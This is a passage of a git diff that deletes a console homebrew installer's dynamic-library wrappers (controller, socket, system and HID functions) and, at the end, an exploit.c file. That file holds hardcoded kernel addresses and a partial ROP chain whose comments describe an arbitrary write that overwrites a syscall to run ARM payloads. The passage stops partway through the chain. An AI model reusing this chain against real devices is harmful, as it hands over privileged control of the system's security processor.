-#define WPAD_BUTTON_LEFT 0x0001 -#define WPAD_BUTTON_RIGHT 0x0002 -#define WPAD_BUTTON_DOWN 0x0004 -#define WPAD_BUTTON_UP 0x0008 -#define WPAD_BUTTON_PLUS 0x0010 -#define WPAD_BUTTON_2 0x0100 -#define WPAD_BUTTON_1 0x0200 -#define WPAD_BUTTON_B 0x0400 -#define WPAD_BUTTON_A 0x0800 -#define WPAD_BUTTON_MINUS 0x1000 -#define WPAD_BUTTON_Z 0x2000 -#define WPAD_BUTTON_C 0x4000 -#define WPAD_BUTTON_HOME 0x8000 - -#define WPAD_CLASSIC_BUTTON_UP 0x0001 -#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 -#define WPAD_CLASSIC_BUTTON_ZR 0x0004 -#define WPAD_CLASSIC_BUTTON_X 0x0008 -#define WPAD_CLASSIC_BUTTON_A 0x0010 -#define WPAD_CLASSIC_BUTTON_Y 0x0020 -#define WPAD_CLASSIC_BUTTON_B 0x0040 -#define WPAD_CLASSIC_BUTTON_ZL 0x0080 -#define WPAD_CLASSIC_BUTTON_R 0x0200 -#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 -#define WPAD_CLASSIC_BUTTON_HOME 0x0800 -#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 -#define WPAD_CLASSIC_BUTTON_L 0x2000 -#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 -#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 - -#define WPAD_PRO_BUTTON_UP 0x00000001 -#define WPAD_PRO_BUTTON_LEFT 0x00000002 -#define WPAD_PRO_TRIGGER_ZR 0x00000004 -#define WPAD_PRO_BUTTON_X 0x00000008 -#define WPAD_PRO_BUTTON_A 0x00000010 -#define WPAD_PRO_BUTTON_Y 0x00000020 -#define WPAD_PRO_BUTTON_B 0x00000040 -#define WPAD_PRO_TRIGGER_ZL 0x00000080 -#define WPAD_PRO_RESERVED 0x00000100 -#define WPAD_PRO_TRIGGER_R 0x00000200 -#define WPAD_PRO_BUTTON_PLUS 0x00000400 -#define WPAD_PRO_BUTTON_HOME 0x00000800 -#define WPAD_PRO_BUTTON_MINUS 0x00001000 -#define WPAD_PRO_TRIGGER_L 0x00002000 -#define WPAD_PRO_BUTTON_DOWN 0x00004000 -#define WPAD_PRO_BUTTON_RIGHT 0x00008000 -#define WPAD_PRO_BUTTON_STICK_R 0x00010000 -#define WPAD_PRO_BUTTON_STICK_L 0x00020000 - -#define WPAD_PRO_STICK_L_EMULATION_UP 0x00200000 -#define WPAD_PRO_STICK_L_EMULATION_DOWN 0x00100000 -#define WPAD_PRO_STICK_L_EMULATION_LEFT 0x00040000 -#define WPAD_PRO_STICK_L_EMULATION_RIGHT 0x00080000 - -#define WPAD_PRO_STICK_R_EMULATION_UP 0x02000000 -#define WPAD_PRO_STICK_R_EMULATION_DOWN 0x01000000 -#define WPAD_PRO_STICK_R_EMULATION_LEFT 0x00400000 -#define WPAD_PRO_STICK_R_EMULATION_RIGHT 0x00800000 - -typedef struct _KPADData -{ - u32 btns_h; - u32 btns_d; - u32 btns_r; - u32 unused_1[5]; - f32 pos_x; - f32 pos_y; - u32 unused_2[3]; - f32 angle_x; - f32 angle_y; - u32 unused_3[8]; - u8 device_type; - u8 wpad_error; - u8 pos_valid; - u8 format; - - union - { - struct - { - f32 stick_x; - f32 stick_y; - } nunchuck; - - struct - { - u32 btns_h; - u32 btns_d; - u32 btns_r; - f32 lstick_x; - f32 lstick_y; - f32 rstick_x; - f32 rstick_y; - f32 ltrigger; - f32 rtrigger; - } classic; - - struct - { - u32 btns_h; - u32 btns_d; - u32 btns_r; - f32 lstick_x; - f32 lstick_y; - f32 rstick_x; - f32 rstick_y; - int charging; - int wired; - } pro; - - u32 unused_6[20]; - }; - u32 unused_7[16]; -} KPADData; -void InitPadScoreFunctionPointers(void); -void InitAcquirePadScore(void); - -typedef void (* wpad_connect_callback_t)(s32 chan, s32 status); - -extern void (* KPADInit)(void); -extern void (* WPADInit)(void); -extern s32 (* WPADProbe)(s32 chan, u32 * pad_type); -extern s32 (* WPADSetDataFormat)(s32 chan, s32 format); -extern void (* WPADEnableURCC)(s32 enable); -extern void (* WPADRead)(s32 chan, void * data); -extern s32 (* KPADRead)(s32 chan, void * data, u32 size); -extern s32 (* KPADReadEx)(s32 chan, KPADData * data, u32 size, s32 *error); -extern void (*WPADSetAutoSleepTime)(u8 time); -extern void (*WPADDisconnect)( s32 chan ); - -#ifdef __cplusplus -} -#endif - -#endif // __PAD_SCORE_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/socket_functions.c b/installer/src/dynamic_libs/socket_functions.c deleted file mode 100644 index de2c31f..0000000 --- a/installer/src/dynamic_libs/socket_functions.c +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "socket_functions.h" - -u32 hostIpAddress = 0; - -unsigned int nsysnet_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, socket_lib_init, void); -EXPORT_DECL(int, socket, int domain, int type, int protocol); -EXPORT_DECL(int, socketclose, int s); -EXPORT_DECL(int, connect, int s, void *addr, int addrlen); -EXPORT_DECL(int, bind, s32 s,struct sockaddr *name,s32 namelen); -EXPORT_DECL(int, listen, s32 s,u32 backlog); -EXPORT_DECL(int, accept, s32 s,struct sockaddr *addr,s32 *addrlen); -EXPORT_DECL(int, send, int s, const void *buffer, int size, int flags); -EXPORT_DECL(int, recv, int s, void *buffer, int size, int flags); -EXPORT_DECL(int, recvfrom,int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); -EXPORT_DECL(int, sendto, int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -EXPORT_DECL(int, setsockopt, int s, int level, int optname, void *optval, int optlen); -EXPORT_DECL(char *, inet_ntoa, struct in_addr in); -EXPORT_DECL(int, inet_aton, const char *cp, struct in_addr *inp); - -EXPORT_DECL(int, NSSLWrite, int connection, const void* buf, int len,int * written); -EXPORT_DECL(int, NSSLRead, int connection, const void* buf, int len,int * read); -EXPORT_DECL(int, NSSLCreateConnection, int context, const char* host, int hotlen,int options,int sock,int block); - -void InitAcquireSocket(void) -{ - OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); -} - -void InitSocketFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireSocket(); - - OS_FIND_EXPORT(nsysnet_handle, socket_lib_init); - OS_FIND_EXPORT(nsysnet_handle, socket); - OS_FIND_EXPORT(nsysnet_handle, socketclose); - OS_FIND_EXPORT(nsysnet_handle, connect); - OS_FIND_EXPORT(nsysnet_handle, bind); - OS_FIND_EXPORT(nsysnet_handle, listen); - OS_FIND_EXPORT(nsysnet_handle, accept); - OS_FIND_EXPORT(nsysnet_handle, send); - OS_FIND_EXPORT(nsysnet_handle, recv); - OS_FIND_EXPORT(nsysnet_handle, recvfrom); - OS_FIND_EXPORT(nsysnet_handle, sendto); - OS_FIND_EXPORT(nsysnet_handle, setsockopt); - OS_FIND_EXPORT(nsysnet_handle, inet_ntoa); - OS_FIND_EXPORT(nsysnet_handle, inet_aton); - - OS_FIND_EXPORT(nsysnet_handle, NSSLWrite); - OS_FIND_EXPORT(nsysnet_handle, NSSLRead); - OS_FIND_EXPORT(nsysnet_handle, NSSLCreateConnection); - - socket_lib_init(); -} diff --git a/installer/src/dynamic_libs/socket_functions.h b/installer/src/dynamic_libs/socket_functions.h deleted file mode 100644 index 1e4df1a..0000000 --- a/installer/src/dynamic_libs/socket_functions.h +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SOCKET_FUNCTIONS_H_ -#define __SOCKET_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int nsysnet_handle; - -#include - -#define INADDR_ANY 0 - -#define AF_INET 2 - -#define SOCK_STREAM 1 -#define SOCK_DGRAM 2 - -#define IPPROTO_IP 0 -#define IPPROTO_TCP 6 -#define IPPROTO_UDP 17 - -#define TCP_NODELAY 0x2004 - -#define SOL_SOCKET -1 -#define SO_REUSEADDR 0x0004 -#define SO_NONBLOCK 0x1016 -#define SO_MYADDR 0x1013 -#define SO_RCVTIMEO 0x1006 - -#define SOL_SOCKET -1 -#define MSG_DONTWAIT 32 - -#define htonl(x) x -#define htons(x) x -#define ntohl(x) x -#define ntohs(x) x - - -struct in_addr { - unsigned int s_addr; -}; -struct sockaddr_in { - short sin_family; - unsigned short sin_port; - struct in_addr sin_addr; - char sin_zero[8]; -}; - -struct sockaddr -{ - unsigned short sa_family; - char sa_data[14]; -}; - - -void InitSocketFunctionPointers(void); -void InitAcquireSocket(void); - -extern void (*socket_lib_init)(void); -extern int (*socket)(int domain, int type, int protocol); -extern int (*socketclose)(int s); -extern int (*connect)(int s, void *addr, int addrlen); -extern int (*bind)(s32 s,struct sockaddr *name,s32 namelen); -extern int (*listen)(s32 s,u32 backlog); -extern int (*accept)(s32 s,struct sockaddr *addr,s32 *addrlen); -extern int (*send)(int s, const void *buffer, int size, int flags); -extern int (*recv)(int s, void *buffer, int size, int flags); -extern int (*recvfrom)(int sockfd, void *buf, int len, int flags,struct sockaddr *src_addr, int *addrlen); - -extern int (*sendto)(int s, const void *buffer, int size, int flags, const struct sockaddr *dest, int dest_len); -extern int (*setsockopt)(int s, int level, int optname, void *optval, int optlen); - -extern int (* NSSLWrite)(int connection, const void* buf, int len,int * written); -extern int (* NSSLRead)(int connection, const void* buf, int len,int * read); -extern int (* NSSLCreateConnection)(int context, const char* host, int hotlen,int options,int sock,int block); - -extern char * (*inet_ntoa)(struct in_addr in); -extern int (*inet_aton)(const char *cp, struct in_addr *inp); - -#ifdef __cplusplus -} -#endif - -#endif // __SOCKET_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/sys_functions.c b/installer/src/dynamic_libs/sys_functions.c deleted file mode 100644 index 2cd44b8..0000000 --- a/installer/src/dynamic_libs/sys_functions.c +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" - - unsigned int sysapp_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(int, _SYSLaunchTitleByPathFromLauncher, const char* path, int len, int zero); -EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); -EXPORT_DECL(int, SYSLaunchMenu, void); -EXPORT_DECL(int, SYSCheckTitleExists, u64 titleId); -EXPORT_DECL(int, SYSLaunchTitle, u64 titleId); -EXPORT_DECL(int, SYSLaunchSettings, int unk); - -void InitAcquireSys(void) -{ - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); -} - -void InitSysFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - InitAcquireSys(); - - OS_FIND_EXPORT(sysapp_handle, _SYSLaunchTitleByPathFromLauncher); - OS_FIND_EXPORT(sysapp_handle, SYSRelaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchMenu); - OS_FIND_EXPORT(sysapp_handle, SYSCheckTitleExists); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchTitle); - OS_FIND_EXPORT(sysapp_handle, SYSLaunchSettings); -} diff --git a/installer/src/dynamic_libs/sys_functions.h b/installer/src/dynamic_libs/sys_functions.h deleted file mode 100644 index 64fc2c7..0000000 --- a/installer/src/dynamic_libs/sys_functions.h +++ /dev/null @@ -1,48 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYS_FUNCTIONS_H_ -#define __SYS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int sysapp_handle; - -void InitSysFunctionPointers(void); -void InitAcquireSys(void); - -extern int(*_SYSLaunchTitleByPathFromLauncher)(const char* path, int len, int zero); -extern int (* SYSRelaunchTitle)(int argc, char** argv); -extern int (* SYSLaunchMenu)(void); -extern int (* SYSCheckTitleExists)(u64 titleId); -extern int (* SYSLaunchTitle)(u64 titleId); -extern int (* SYSLaunchSettings)(int unk); - - -#ifdef __cplusplus -} -#endif - -#endif // __SYS_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/syshid_functions.c b/installer/src/dynamic_libs/syshid_functions.c deleted file mode 100644 index 996d39d..0000000 --- a/installer/src/dynamic_libs/syshid_functions.c +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "syshid_functions.h" - -unsigned int syshid_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(int, HIDSetup,void); -EXPORT_DECL(int, HIDTeardown,void); - -EXPORT_DECL(int, HIDAddClient,HIDClient *p_client, HIDAttachCallback attach_callback); -EXPORT_DECL(int, HIDDelClient,HIDClient *p_client); - -EXPORT_DECL(int, HIDGetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDSetDescriptor,unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDSetProtocol,unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDGetProtocol,unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDGetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDSetReport,u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDSetIdle,unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); - -EXPORT_DECL(int, HIDRead,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -EXPORT_DECL(int, HIDWrite,unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -void InitAcquireSysHID(void) -{ - OSDynLoad_Acquire("nsyshid.rpl", &syshid_handle); -} - -void InitSysHIDFunctionPointers(void) -{ - InitAcquireSysHID(); - - if(syshid_handle == 0){ - return; - } - - unsigned int funcPointer = 0; - - //! assigning those is not mandatory and it does not always work to load them - OS_FIND_EXPORT(syshid_handle, HIDSetup); - OS_FIND_EXPORT(syshid_handle, HIDTeardown); - OS_FIND_EXPORT(syshid_handle, HIDAddClient); - OS_FIND_EXPORT(syshid_handle, HIDDelClient); - OS_FIND_EXPORT(syshid_handle, HIDGetDescriptor); - OS_FIND_EXPORT(syshid_handle, HIDSetDescriptor); - OS_FIND_EXPORT(syshid_handle, HIDRead); - OS_FIND_EXPORT(syshid_handle, HIDWrite); - OS_FIND_EXPORT(syshid_handle, HIDSetProtocol); - OS_FIND_EXPORT(syshid_handle, HIDGetProtocol); - OS_FIND_EXPORT(syshid_handle, HIDSetIdle); - OS_FIND_EXPORT(syshid_handle, HIDGetReport); - OS_FIND_EXPORT(syshid_handle, HIDSetReport); -} diff --git a/installer/src/dynamic_libs/syshid_functions.h b/installer/src/dynamic_libs/syshid_functions.h deleted file mode 100644 index 08213b4..0000000 --- a/installer/src/dynamic_libs/syshid_functions.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __SYSHID_FUNCTIONS_H_ -#define __SYSHID_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int syshid_handle; - -typedef struct -{ - unsigned int handle; - unsigned int physical_device_inst; - unsigned short vid; - unsigned short pid; - unsigned char interface_index; - unsigned char sub_class; - unsigned char protocol; - - unsigned short max_packet_size_rx; - unsigned short max_packet_size_tx; - -} HIDDevice; - -typedef struct _HIDClient HIDClient; - -#define HID_DEVICE_DETACH 0 -#define HID_DEVICE_ATTACH 1 - -typedef int (*HIDAttachCallback)(HIDClient *p_hc,HIDDevice *p_hd,unsigned int attach); - -struct _HIDClient -{ - HIDClient *next; - HIDAttachCallback attach_cb; -}; - -typedef void (*HIDCallback)(unsigned int handle,int error,unsigned char *p_buffer,unsigned int bytes_transferred,void *p_user); - -void InitSysHIDFunctionPointers(void); -void InitAcquireSysHID(void); - -extern int(*HIDSetup)(void); -extern int(*HIDTeardown)(void); - -extern int(*HIDAddClient)(HIDClient *p_client, HIDAttachCallback attach_callback); -extern int(*HIDDelClient)(HIDClient *p_client); - -extern int(*HIDGetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDSetDescriptor)(unsigned int handle,u8 descriptor_type,u8 descriptor_index, u16 language_id, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -extern int(*HIDGetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDSetReport)(u32 handle, u8 report_type, u8 report_id, u8 *p_buffer, u32 buffer_length, HIDCallback hc, void *p_user); - -extern int(*HIDSetIdle)(unsigned int handle, u8 interface_index,u8 duration, HIDCallback hc, void *p_user); - -extern int(* HIDSetProtocol)(unsigned int handle,u8 interface_index,u8 protocol, HIDCallback hc, void *p_user); -extern int(* HIDGetProtocol)(unsigned int handle,u8 interface_index,u8 * protocol, HIDCallback hc, void *p_user); - -extern int(*HIDRead)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); -extern int(*HIDWrite)(unsigned int handle, unsigned char *p_buffer, unsigned int buffer_length, HIDCallback hc, void *p_user); - -#ifdef __cplusplus -} -#endif - -#endif // __SYSHID_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/vpad_functions.c b/installer/src/dynamic_libs/vpad_functions.c deleted file mode 100644 index 201cf34..0000000 --- a/installer/src/dynamic_libs/vpad_functions.c +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "vpad_functions.h" - -unsigned int vpad_handle __attribute__((section(".data"))) = 0; -unsigned int vpadbase_handle __attribute__((section(".data"))) = 0; - -EXPORT_DECL(void, VPADInit, void); -EXPORT_DECL(int, VPADRead, int chan, VPADData *buffer, u32 buffer_size, s32 *error); -EXPORT_DECL(int, VPADGetLcdMode, int padnum, int *lcdmode); -EXPORT_DECL(int, VPADSetLcdMode, int padnum, int lcdmode); -EXPORT_DECL(int, VPADBASEGetMotorOnRemainingCount, int padnum); -EXPORT_DECL(int, VPADBASESetMotorOnRemainingCount, int padnum, int counter); - -void InitAcquireVPad(void) -{ - OSDynLoad_Acquire("vpad.rpl", &vpad_handle); - OSDynLoad_Acquire("vpadbase.rpl", &vpadbase_handle); -} - -void InitVPadFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - InitAcquireVPad(); - - OS_FIND_EXPORT(vpad_handle, VPADInit); - OS_FIND_EXPORT(vpad_handle, VPADRead); - OS_FIND_EXPORT(vpad_handle, VPADGetLcdMode); - OS_FIND_EXPORT(vpad_handle, VPADSetLcdMode); - OS_FIND_EXPORT(vpadbase_handle, VPADBASEGetMotorOnRemainingCount); - OS_FIND_EXPORT(vpadbase_handle, VPADBASESetMotorOnRemainingCount); -} diff --git a/installer/src/dynamic_libs/vpad_functions.h b/installer/src/dynamic_libs/vpad_functions.h deleted file mode 100644 index 4fafda2..0000000 --- a/installer/src/dynamic_libs/vpad_functions.h +++ /dev/null @@ -1,114 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __VPAD_FUNCTIONS_H_ -#define __VPAD_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -extern unsigned int vpad_handle; -extern unsigned int vpadbase_handle; - -#include - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 -#define VPAD_BUTTON_STICK_R 0x00020000 -#define VPAD_BUTTON_STICK_L 0x00040000 -#define VPAD_BUTTON_TV 0x00010000 - -#define VPAD_STICK_R_EMULATION_LEFT 0x04000000 -#define VPAD_STICK_R_EMULATION_RIGHT 0x02000000 -#define VPAD_STICK_R_EMULATION_UP 0x01000000 -#define VPAD_STICK_R_EMULATION_DOWN 0x00800000 - -#define VPAD_STICK_L_EMULATION_LEFT 0x40000000 -#define VPAD_STICK_L_EMULATION_RIGHT 0x20000000 -#define VPAD_STICK_L_EMULATION_UP 0x10000000 -#define VPAD_STICK_L_EMULATION_DOWN 0x08000000 - -//! Own definitions -#define VPAD_BUTTON_TOUCH 0x00080000 -#define VPAD_MASK_EMULATED_STICKS 0x7F800000 -#define VPAD_MASK_BUTTONS ~VPAD_MASK_EMULATED_STICKS - -typedef struct -{ - f32 x,y; -} Vec2D; - -typedef struct -{ - u16 x, y; /* Touch coordinates */ - u16 touched; /* 1 = Touched, 0 = Not touched */ - u16 invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - u32 btns_h; /* Held buttons */ - u32 btns_d; /* Buttons that are pressed at that instant */ - u32 btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -void InitVPadFunctionPointers(void); -void InitAcquireVPad(void); - -extern int (* VPADRead)(int chan, VPADData *buffer, u32 buffer_size, s32 *error); -extern int (* VPADGetLcdMode)(int padnum, int *lcdmode); -extern int (* VPADSetLcdMode)(int padnum, int lcdmode); -extern void (* VPADInit)(void); -extern int (* VPADBASEGetMotorOnRemainingCount)(int lcdmode); -extern int (* VPADBASESetMotorOnRemainingCount)(int lcdmode,int counter); - -#ifdef __cplusplus -} -#endif - -#endif // __VPAD_FUNCTIONS_H_ diff --git a/installer/src/entry.c b/installer/src/entry.c deleted file mode 100644 index 94cbae2..0000000 --- a/installer/src/entry.c +++ /dev/null @@ -1,13 +0,0 @@ -#include -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/sys_functions.h" -#include "common/common.h" -#include "main.h" - -int __entry_menu(int argc, char **argv) -{ - //! ******************************************************************* - //! * Jump to our application * - //! ******************************************************************* - return Menu_Main(); -} diff --git a/installer/src/exploit.c b/installer/src/exploit.c deleted file mode 100644 index e600b9e..0000000 --- a/installer/src/exploit.c +++ /dev/null @@ -1,349 +0,0 @@ -#include -#include -#include "dynamic_libs/os_functions.h" -#include "exploit.h" - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE 0x01E20000 -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08134100 -#define REPLACE_SYSCALL 0x081298BC - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "arm_kernel_bin.h" -#include "arm_user_bin.h" - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 